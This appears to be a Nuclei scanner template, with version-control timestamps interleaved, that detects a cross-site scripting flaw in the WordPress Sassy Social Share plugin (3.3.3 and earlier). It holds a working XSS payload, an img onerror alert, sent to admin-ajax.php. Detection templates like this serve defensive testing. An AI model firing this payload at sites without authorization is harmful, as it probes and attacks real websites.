2020-10-22 20:38:55 +00:00
id : sassy-social-share-xss
2020-10-20 15:28:01 +00:00
info :
2022-09-08 13:28:46 +00:00
name : Sassy Social Share <=3.3.3 - Cross-Site Scripting
2021-06-09 12:20:56 +00:00
author : Random_Robbie
2020-10-20 15:28:01 +00:00
severity : medium
2022-08-10 09:08:35 +00:00
description : |
2022-09-08 13:28:46 +00:00
WordPress Sassy Social Share 3.3.3 and prior is vulnerable to cross-site scripting because certain AJAX endpoints return JSON data with no Content-Type header set and then use the default text/html. In other words, any JSON that has HTML will be rendered as such.
2022-08-06 16:54:58 +00:00
reference :
- https://wpscan.com/vulnerability/4631519b-2060-43a0-b69b-b3d7ed94c705
2022-09-08 13:28:46 +00:00
classification :
2023-03-03 15:27:54 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
cwe-id : CWE-80
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-10-14 11:27:55 +00:00
tags : xss,wp,wpscan,wordpress,wp-plugin,sassy
2022-03-18 14:22:29 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-10-20 15:28:01 +00:00
- method : GET
path :
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[%3Cimg%20src%3dx%20onerror%3dalert(document.domain)%3E]="
matchers-condition : and
matchers :
- type : word
2022-03-18 14:22:29 +00:00
part : body
2020-10-20 15:28:01 +00:00
words :
2021-07-14 15:25:05 +00:00
- '[{"<img src=x onerror=alert(document.domain)>":""}]'
- 'facebook'
- 'twitter'
2021-07-14 11:31:59 +00:00
condition : and
2022-03-18 14:22:29 +00:00
- type : word
part : header
words :
- 'application/json'
negative : true
2021-07-14 11:31:59 +00:00
- type : status
status :
2022-08-10 09:08:35 +00:00
- 200
2023-10-20 11:41:13 +00:00
# digest: 4a0a00473045022066a03d004dca2d05d4b9ee2a94be46123b3fd6524e8224427d50106f600f6fbd022100b9f020ba9476183e1fe1001b1668bf97a030db3cbd8a578679f532b8f04e4cbb:922c64590222798bb761d5b6d8e72950